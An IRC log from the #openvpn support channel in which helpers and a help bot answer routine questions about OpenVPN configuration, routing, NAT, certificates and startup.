05:09 -!- matsh [divine@nanogene.org] has quit [Ping timeout: 240 seconds]
05:09 -!- matsh_ is now known as matsh
05:17 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 276 seconds]
05:21 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
05:40 -!- monk [~aknm@unaffiliated/aknm] has quit [Ping timeout: 246 seconds]
05:41 -!- Guest89372 [~aknm@196.14.139.96] has joined #openvpn
05:43 -!- Guest89372 [~aknm@196.14.139.96] has quit [Changing host]
05:43 -!- Guest89372 [~aknm@unaffiliated/aknm] has joined #openvpn
05:43 -!- Guest89372 [~aknm@unaffiliated/aknm] has left #openvpn []
05:49 -!- WorkRoey [~roey@216-15-7-159.c3-0.bth-ubr1.lnh-bth.md.cable.rcn.com] has quit [Ping timeout: 252 seconds]
05:49 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:57 -!- mndo [~mndo@bl16-92-186.dsl.telepac.pt] has joined #openvpn
05:57 -!- aknm [~aknm@196.14.139.96] has joined #openvpn
05:57 -!- aknm [~aknm@196.14.139.96] has quit [Changing host]
05:57 -!- aknm [~aknm@unaffiliated/aknm] has joined #openvpn
06:05 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has quit [Ping timeout: 245 seconds]
06:12 -!- aknm is now known as monk
06:23 -!- SgrA [~sgra@gateway/tor-sasl/sgra] has quit [Ping timeout: 240 seconds]
06:26 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Excess Flood]
06:28 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
06:28 -!- _Roey [~roey@flame-n.senet-int.com] has joined #openvpn
06:31 -!- SgrA [~sgra@gateway/tor-sasl/sgra] has joined #openvpn
06:33 -!- _Roey [~roey@flame-n.senet-int.com] has quit [Ping timeout: 252 seconds]
06:45 -!- _Roey [~roey@216-15-7-159.c3-0.bth-ubr1.lnh-bth.md.cable.rcn.com] has joined #openvpn
06:50 -!- suprMan` [~clark_ken@109.63.110.144] has joined #openvpn
06:53 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
06:55 -!- troj [~xxx@94.242.205.4] has quit [Read error: Operation timed out]
06:56 -!- suprMan` [~clark_ken@109.63.110.144] has quit [Ping timeout: 276 seconds]
06:57 -!- troj [~xxx@94.242.205.4] has joined #openvpn
07:02 -!- _Roey is now known as WorkRoey
07:02 <@ecrist> good morning
07:06 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 248 seconds]
07:06 -!- marksaitis [~marksaiti@81.101.81.114] has joined #openvpn
07:19 -!- WorkRoey [~roey@216-15-7-159.c3-0.bth-ubr1.lnh-bth.md.cable.rcn.com] has quit [Ping timeout: 256 seconds]
07:34 -!- marksaitis [~marksaiti@81.101.81.114] has quit [Remote host closed the connection]
07:34 -!- mattock_afk is now known as mattock
07:36 -!- _Roey [~roey@flame-n.senet-int.com] has joined #openvpn
07:39 -!- _Roey [~roey@flame-n.senet-int.com] has quit [Read error: Connection reset by peer]
07:43 -!- vaillor [~wefefr@adsl-ull-39-64.45-151.net24.it] has joined #openvpn
07:43 < vaillor> hi
07:43 < vaillor> !auth
07:44 < vaillor> i need to know how directly put login credential into client .ovpn
07:57 -!- suprMan` [~clark_ken@109.63.110.144] has joined #openvpn
08:03 < vaillor> the usual directive is: "auth-user-pass pass.tx"
08:03 < vaillor> but i need to specify directly user and password in the .ovpn and not in the other files
08:04 < suprMan`> hello.... how do i set static ip to openvpn clients.....?
08:05 < vaillor> you can do it in many ways
08:06 < suprMan`> hmm
08:06 < vaillor> !static
08:06 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
08:08 -!- suprMan2` [~clark_ken@109.63.110.144] has joined #openvpn
08:08 < suprMan2`> vaillor: do u have a link online i can read and try
08:11 -!- suprMan` [~clark_ken@109.63.110.144] has quit [Ping timeout: 268 seconds]
08:18 -!- vaillor [~wefefr@adsl-ull-39-64.45-151.net24.it] has left #openvpn []
08:33 -!- oc80z [oc80z@blea.ch] has quit [Ping timeout: 248 seconds]
08:36 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 248 seconds]
08:38 -!- ljvb [~jason@us.vps.vanbrecht.com] has joined #openvpn
08:38 < ljvb> anyone know of a decent free certificate management tool.  sick of ssl-admin
08:39 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
08:48 -!- DrCode_ [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:49 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
08:50 -!- DrCode_ is now known as DrCode
08:53 <@ecrist> ljvb: what's wrong with ssl-admin?
08:54 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
08:54 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
09:01 -!- suprMan2` [~clark_ken@109.63.110.144] has quit [Quit: i dont need your love to disconnect]
09:09 < ljvb> I keep forgetting my CA password :( for one..  Also, it breaks on my password which contains an !.  It apparently does not escape special characters very well
09:09 <@ecrist> I'm the developer - if you mention such things, I can fix ssl-admin
09:09 <@ecrist> I cannot cause you to remember your CA password, though
09:09 <@ecrist> that would be categorized as "user error"
09:10 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
09:10 -!- mndo [~mndo@bl16-92-186.dsl.telepac.pt] has quit [Read error: Connection reset by peer]
09:11 <@ecrist> It *shouldn't* break with special characters in the CA password, since the prompt is presented by openssl, and not ssl-admin, itself.
09:12 < ljvb> :)
09:13 < ljvb> lemme go check again
09:13 -!- suprMan` [~clark_ken@109.63.110.144] has joined #openvpn
09:13 < ljvb> I know when I type my password in at the prompt, it dumps shortly after
09:13 < suprMan`> hello
09:14 < suprMan`> how do i set static ips to openvpn clients
09:14 < ljvb> but it has been a few months, my mind can be fuzzy (issue came up again when trying to add a second instance of ovpn running as server in addition to it running as a client)
09:15 < ljvb> also.. I forgot which host had it running on it heh.. too many vps's and vm's running
09:15  * ljvb is slightly fried after the long weekend
09:19 -!- Guest70452 [~josh@joshie.net] has left #openvpn []
09:21 -!- suprMan` [~clark_ken@109.63.110.144] has quit [Quit: i watch her shadow move]
09:24 <@ecrist> ljvb: if you can reproduce the error, let me know the exact error you're given
09:26 < ljvb> will do
09:28 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 246 seconds]
09:31 -!- HyperGlide [~HyperGlid@182.151.164.151] has joined #openvpn
09:45 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
09:48 -!- HyperGlide [~HyperGlid@182.151.164.151] has quit [Remote host closed the connection]
09:48 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
10:12 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
10:14 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
10:14 < ljvb> ecrist where does the latest version of ssl-admin exists, the code.google link is from 2008..
10:14 < ljvb> I usuallu use ports.. but I have a spare centos box I was going to use (it's a vm, could switch to fbsd without too many issues)
10:15 -!- Devastator [~devas@186.214.110.222] has joined #openvpn
10:19 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:21 -!- raidz_away is now known as raidz
10:23 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
10:31 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
10:31 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
10:38 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 245 seconds]
10:39 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:40 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
10:41 -!- JAVACODER [~JAVACODER@2.190.35.93] has joined #openvpn
10:41 -!- bitblt [~don@unaffiliated/bitblt] has joined #openvpn
10:43 < bitblt> hi everyone! I am wondering, does anyone bridge to another vpn using openvpn? I am trying to have a connection to a cisco vpn (using vpnc) on my openvpn server, then push that route to the client, but I can't figure out the right route settings to use to do that.
10:50 -!- Jaga [~Jaga@kekkonen.cs.hut.fi] has left #openvpn ["Leaving"]
10:50  * ljvb setup some wierd routing a while ago, but not as a bridged conenction, rather pushing out static routes to clients (and those static routes are based on AS data for geolocational routing)
10:51 < ljvb> I will have my Top Gear without having to wait a week (yes.. it is sad that I went through all that trouble to watch a TV show :) )
10:51 < bitblt> I'd be okay with static routes. Basically I just need access to the cisco route via openvpn
10:52 < bitblt> well, I can see how to push the route via openvpn, I'm just not sure how to add it properly to the routing table. vpnc wants the add tun0 (the cisco connection) as the default, but then I lose the connection to openvpn
10:53 < ljvb> I am not familiar with vpnc
10:53 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 240 seconds]
10:54 < ljvb> my guess is that vpnc is setup to prevent split tunneling (most corp policies forbid that anyways), which will always set your default route to the cisco concentrator
11:00 < bitblt> that's what I am thinking. I was hoping to find a work-around
11:00 < bitblt> I'm trying to avoid paying for a mobile broadband connection
11:03 -!- JAVACODER [~JAVACODER@2.190.35.93] has left #openvpn ["JAVACODER"]
11:05 -!- dontalton2 [~don@nat/cisco/x-bdylvjchkibxgtor] has joined #openvpn
11:06 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has quit [Read error: Operation timed out]
11:07 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-jhkcbyaswvqafeig] has quit [Read error: Operation timed out]
11:07 -!- lmm [uid6417@gateway/web/irccloud.com/x-dvmthrqhwhgosjlb] has quit [Ping timeout: 245 seconds]
11:07 -!- bitblt [~don@unaffiliated/bitblt] has quit [Ping timeout: 256 seconds]
11:10 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
11:11 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:20 < ljvb> funny, that was why I did that on my android phone :) vpn then tether :)  I paid for the data.. I will use it however I want
11:38 -!- lmm [uid6417@gateway/web/irccloud.com/x-bqwrhxlvtiijgvql] has joined #openvpn
11:46 -!- duckstep [~ehnde@unaffiliated/ehnde] has joined #openvpn
11:46 < duckstep> i appear to be blocked from connecting on port 1194, are there any alternatives?
11:46 < duckstep> no control over the firewall
11:46 < duckstep> ssh, ssl are open
11:58 < dontalton2> change the port to tcp 443
11:58 -!- dontalton2 is now known as dontalton
12:00 < dontalton> ljvb, vpn then tether?
12:12 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
12:13 < duckstep> i'll give that a shot
12:21 -!- dontalton2 [~don@ip68-226-26-79.tc.ph.cox.net] has joined #openvpn
12:21 -!- dontalton [~don@nat/cisco/x-bdylvjchkibxgtor] has quit [Read error: Connection reset by peer]
12:23 -!- dontalton3 [~don@nat/cisco/x-ccvvkmqqsklxrknd] has joined #openvpn
12:23 -!- dontalton3 [~don@nat/cisco/x-ccvvkmqqsklxrknd] has quit [Client Quit]
12:26 -!- dontalton2 [~don@ip68-226-26-79.tc.ph.cox.net] has quit [Ping timeout: 256 seconds]
12:45 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Ping timeout: 252 seconds]
12:47 < duckstep> WSAECONNREFUSED :|
12:49 < duckstep> WSAETIMEDOUT on 1194 TCP
12:51 < duckstep> TLS handshake failure on UDP 1194 where it looks like it times out after 60 seconds
12:51 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
12:52 < duckstep> there's got to be a way to poke a hole through this firewall...too bad TCP 443 isn't open on the server
12:53 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
12:55 -!- suprMan` [~clark_ken@109.161.246.106] has joined #openvpn
12:58 < suprMan`> hello, how do i set static ips for my openvpn clients
13:01 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Read error: Connection reset by peer]
13:02 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
13:04 < tharkun> !nat
13:04 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
13:04 < tharkun> !linnat
13:04 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
13:05 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-bjqsdhcgdvhdtqin] has joined #openvpn
13:10 < tharkun> !route
13:10 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
13:10 <@vpnHelper> behind the server or client
13:19 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 276 seconds]
13:21 < tharkun>  echo 1 > /proc/sys/net/ipv4/ip_forward is not persisntent on reboot. What is the most apropiate way to make it persistent. One end is Centos, the other end is Debian.
13:22 -!- kubbing [~kubbing@ip-89-177-146-218.net.upcbroadband.cz] has joined #openvpn
13:24 < SgrA> man sysctl.conf
13:26 < suprMan`> in /etc/sysctl.conf
13:28 -!- nlopez_ [~quassel@198.211.102.196] has joined #openvpn
13:28 -!- nlopez_ [~quassel@198.211.102.196] has quit [Remote host closed the connection]
13:50 -!- n4mu [~n4mu@fsf/member/n4mu] has joined #openvpn
14:19 < tharkun> SgrA, suprMan` : Thanks
14:28 -!- suprMan` [~clark_ken@109.161.246.106] has quit [Quit: in my mind i am everyone of you]
14:45 -!- SgrA [~sgra@gateway/tor-sasl/sgra] has quit [Quit: maintenance.]
15:01 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
15:10 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 276 seconds]
15:39 -!- torkel [~torkel@93.203.193.77.rev.sfr.net] has joined #openvpn
15:42 < torkel> !welcome
15:42 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
15:42 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
15:47 -!- dazo is now known as dazo_afk
15:47 < torkel> Where can i find the logfile for openvpn-networkmanager? It fails to connect to the server.
15:50 -!- dskfl [~dskfl@79.108.219.151.dyn.user.ono.com] has joined #openvpn
15:51 < pekster> Don't use networkmanager
15:51 < pekster> !logfile
15:51 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
15:53 < dskfl> is it normal to have a drop like 10x in speed through openvnp tunnel? I'm experimenting with a simple setup in my house by connecting to my isp router through an pc that has installed openvpn server, and from a normal 20 Mbit/s it drops to like 2.. or 3
15:54 < dskfl> not much luck playing with the mtu since i can't even get it to connect the instance i change it, btw it's using compression too
15:54 < dskfl> i'm using the latest openvnp server and client
15:56 < dskfl> any guides out there for tweaking and maybe get some more speed out of it?
16:01 < pekster> I have no clue what you're attempting to do
16:01 < pekster> If you redirect traffic (see !redirect) you'll naturally only be able to send data as fast as the slowest link, or the speed that openvpn can encrypt (and optionally compress) and transport your data, whichever is slower
16:02 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:04 < torkel> Whats wrong with networkmanager?
16:04 < pekster> Everything
16:04 < torkel> ...
16:04 < torkel> Enlighten me
16:04 < pekster> It only supports the options it's programmed to support (not openvpn's full options) it's hard to see why it breaks, and the OpenVPN development team doesn't maintain it
16:04 < pekster> If it's not working, go complain to the team that maintains it, which isn' there
16:04 < pekster> isn't here*
16:05 < pekster> !gui
16:05 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
16:05 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:05 -!- kubbing [~kubbing@ip-89-177-146-218.net.upcbroadband.cz] has quit [Read error: Operation timed out]
16:06 < torkel> What if i need an easily accessible on/off button?
16:07 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
16:07 < pekster> Unix-alike systems call it "init"
16:08 < pekster> Use what you want; just don't complain here when it doesn't work
16:08 < pekster> #openvpn supports OpenVPN, not network manager or $your_favourite_gui_here
16:16 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:18 < torkel> !config
16:18 <@vpnHelper> (config <name> [<value>]) -- If <value> is given, sets the value of <name> to <value>. Otherwise, returns the current value of <name>. You may omit the leading "supybot." in the name if you so choose.
16:20 < pekster> (you may have wanted !configs or !logs)
16:22 < EugeneKay> I want a !pony
16:23 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:31 -!- torkel [~torkel@93.203.193.77.rev.sfr.net] has quit [Ping timeout: 248 seconds]
16:38 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 264 seconds]
16:44 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
16:45 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
16:45 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
16:56 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has quit [Ping timeout: 248 seconds]
16:56 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has joined #openvpn
16:57 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has quit [Changing host]
16:57 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has joined #openvpn
17:02 -!- Poster|x [~poster@cpe-173-88-28-119.columbus.res.rr.com] has joined #openvpn
17:04 -!- abyss [~abyss@i-free.pl] has quit [Ping timeout: 264 seconds]
17:04 -!- Poster [~poster@cpe-173-88-28-119.columbus.res.rr.com] has quit [Ping timeout: 264 seconds]
17:04 -!- peper [~peper@gentoo/developer/peper] has quit [Ping timeout: 264 seconds]
17:05 -!- abyss [~abyss@i-free.pl] has joined #openvpn
17:06 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
17:06 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Operation timed out]
17:13 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 256 seconds]
17:21 -!- master_o1_master [~master_of@p4FF24C8E.dip0.t-ipconnect.de] has joined #openvpn
17:24 -!- master_of_master [~master_of@p4FF24D60.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
17:31 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:38 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 240 seconds]
17:52 < lamba> can i have two openvpn servers with the same server.crt and server.key ?
17:53 < pekster> lamba: Sure. If they're not on the same system (OS) I'd strongly recommend you don't do that so that you can uniquely identify and/or revoke them
17:54 < pekster> A common use-case for that might be multiple servers listening on UDP vs TCP, or perhaps multiple load-balanced backends to use a multi-core system
17:56 <@krzee> but you could make multiple server certs in the same pki
17:56 <@krzee> same result, but better
17:57 <@krzee> (instead of same server.crt/key on both systems)
18:05 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:39 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
19:00 -!- dskfl [~dskfl@79.108.219.151.dyn.user.ono.com] has quit [Remote host closed the connection]
19:04 -!- zampa [zampa@c-eb2570d5.012-55-6c756c10.cust.bredbandsbolaget.se] has quit [Ping timeout: 245 seconds]
19:06 < lamba> pekster: and as long as they've come from the same ca i can use the same cert on the client to auth to both ?
19:09 < pekster> Right, since both ends reference the CA certificate, not the server cert
19:10 < pekster> As long as the cert presented by the remote end has been properly signed by the CA the local end is using, the connection will be trusted
19:17 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
19:21 -!- zampa [zampa@c-eb2570d5.012-55-6c756c10.cust.bredbandsbolaget.se] has joined #openvpn
19:21 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 256 seconds]
19:45 -!- raidz is now known as raidz_away
20:05 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Quit: emmanuelux]
20:16 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
20:59 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:00 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:09 -!- Poster|x is now known as Poster
21:29 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 252 seconds]
22:05 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Quit: Leaving]
22:30 -!- Devastator [~devas@186.214.110.222] has quit [Changing host]
22:30 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
22:40 -!- lamba [~lamba@unaffiliated/lamba] has quit [Disconnected by services]
22:40 -!- lamba [~lamba@unaffiliated/lamba] has joined #openvpn
22:43 < lamba> how does build-key differ from build-key-server ?
22:44 < pekster> lamba: The latter adds certificate extensions so that clients can process them expecting the "server-only" attributes:
22:44 < pekster> !mitm
22:44 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: remote-cert-tls server in the client config
22:45 < lamba> ah. thats explains alot ;p didnt know the certs actually had a difference
23:08 < lamba> is there a better way of getting a list of clients connected that reading the status file ?
23:08 < lamba> im doing that from a connect-script, but that runs are openvpn, and the status file is owned by root
23:11 < pekster> So change the ownership? Optionally you can use the management interface
23:36 < lamba> yeah. - i got it bringing the tunnel up now, but it's choking since i added metric to the routes it pushes.
23:39 < pekster> Modern OSes don't use metrics unless you're using some dynamic routing daemon that actually makes use of them
23:39 < pekster> Why do you think you need metrics?
23:40 < lamba> i have two tunnels, to the same subnets behind them
23:41 < pekster> And you're running some BGP or OSPF daemon then to manage failover?
23:41 < lamba> ya
23:43 < pekster> The client logs should have details if it fails to add the route, along with the actual command provided (and often the error reported from the OS too, at least at --verb 4)
23:44 < lamba> yeah ig tot it working now - at least, i put route-metric on the client.conf side and it worked,
23:44 < lamba> before i had like   push "route x.x.x.x x.x.x.x 100" on the server.conf
23:46 < pekster> '100' isn't a valid gateway
23:46 < pekster> Consult the manpage for order of operations
23:51 -!- darkapp [~app@unaffiliated/darkapp] has joined #openvpn
23:51 < darkapp> hi
23:51 < darkapp> is there a way to set up openvpn on startup?
23:52 <@krzee> what os?
23:52 < pekster> Presuming you mean 'start' and not "set up", sure, use your OS's init system
23:52 < darkapp> linux mint
23:52 < darkapp> yes pekster
23:53 <@krzee> most linux init scripts ive seen start every .conf in /etc/openvpn/
23:53 <@krzee> (when set to start it)
23:54 < darkapp> i dont see a .conf
23:54 < pekster> While the openvpn sources ship with a sample initscript, most distros install their own since initscripts tend to be very distro-centric
23:54 <@krzee> did you configure openvpn?
23:55 < darkapp> i just did apt-get install openvpn
23:55 < pekster> !howto
23:55 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
23:56 < darkapp> should i d/l through the source code?
23:56 < pekster> Nope
23:56 < darkapp> so apt-get install doesnt deliver everything?
23:57 < pekster> It installs the application; you need to *configure* it yourself
23:57 < pekster> Just like installing a web browser doesn't open google and log into your email for you: *you* must do that
23:57 < pekster> You need to read the howto and learn how to use openvpn
23:58 < darkapp> ok
23:58 < darkapp> i dont suppose theres a simple command for the startup thing
23:58 < darkapp> (its alot of reading to do :p)
23:59 < pekster> Nope; a VPN isn't a "simple" thing
--- Day changed Tue Jul 09 2013
00:00 < darkapp> i cant find the config file
00:00 < darkapp> its not in /etc/openvpn
00:00 < pekster> You need to write one
00:00 < pekster> Use your favourite text editor and create such a file
00:00 < pekster> What exactly are you attempting to do?
00:00 < pekster> Generally, you know if you need a VPN and have an end-goal in mind
00:00 < darkapp> get it to work on startup
00:00 < pekster> That's not a goal
00:00 < pekster> !goal
00:00 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
00:01 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:01 < darkapp> also id like to chain without using vmware
00:01 < darkapp> o to connect to the internet
00:02 < pekster> OpenVPN won't "connect" you to the Internet; an ISP does that
00:02 < darkapp> ok im not retarded
00:02 < pekster> You can perhaps redirect network traffic *over* openvpn, but that still requires an Internet connection
00:02 < darkapp> yes connect to the internet over a vpn
00:02 < darkapp> or through wateever
00:02 < pekster> Okay; you'll need a server to connect *to*. Are you setting that up on a remote system then?
00:03 < darkapp> i have a vpn provider
00:03 < pekster> Then ask them
00:03 < pekster> !provider
00:03 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
00:03 < pekster> And,
00:03 < pekster> !both
00:03 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
00:03 < darkapp> shouldnt this be client side only?
00:03 < pekster> I have zero idea what-so-ever how they've set up their server, and that is required for you to connect to them
00:03 < pekster> Go ask them
00:04 < darkapp> ok
00:04 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
00:18 < darkapp> pekster: is it possible to chain vpn's with the config file?
00:19 < pekster> "chain"
00:19 < pekster> I have no clue what that means
00:19 < pekster> You can start as many as you want
00:20 < darkapp> like isp >vpn1 > vpn2> vpnetc >internet
00:22 < pekster> Don't assign a /0 (or /1, see !def1) routes across any but the last one, and see the --local directive to explicitly bind a connection to an IP that your routing table won't pick by default
00:26 <@krzee> !google vpnchains
00:26 <@vpnHelper> OpenVPN/VpnChains - Secure Computing Wiki: <https://www.secure-computing.net/wiki/index.php/OpenVPN/VpnChains>; VPNCHAINS | Free software downloads at SourceForge.net: <http://sourceforge.net/projects/vpnchains/>; How to Chain VPNs for Complete Anonymity « Null Byte: <http://null-byte.wonderhowto.com/how-to/chain-vpns-for-complete-anonymity-0131368/>
00:26 <@krzee> basically you just need to understand:
00:26 <@krzee> !route
00:26 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
00:26 <@vpnHelper> the server or client
01:02 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
01:22 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:36 < takamichi> Is it possible to override the DNS servers that are pushed by my provider when using 'OpenVPN Connect' on IOS?
01:54 -!- monk [~aknm@196.14.139.96] has joined #openvpn
01:54 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
01:54 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
02:09 < darkapp> takamichi: use google opendns
02:09 < darkapp> or any other opendns server
02:11 < darkapp> http://www.dnsleaktest.com/how-to-fix-a-dns-leak.php
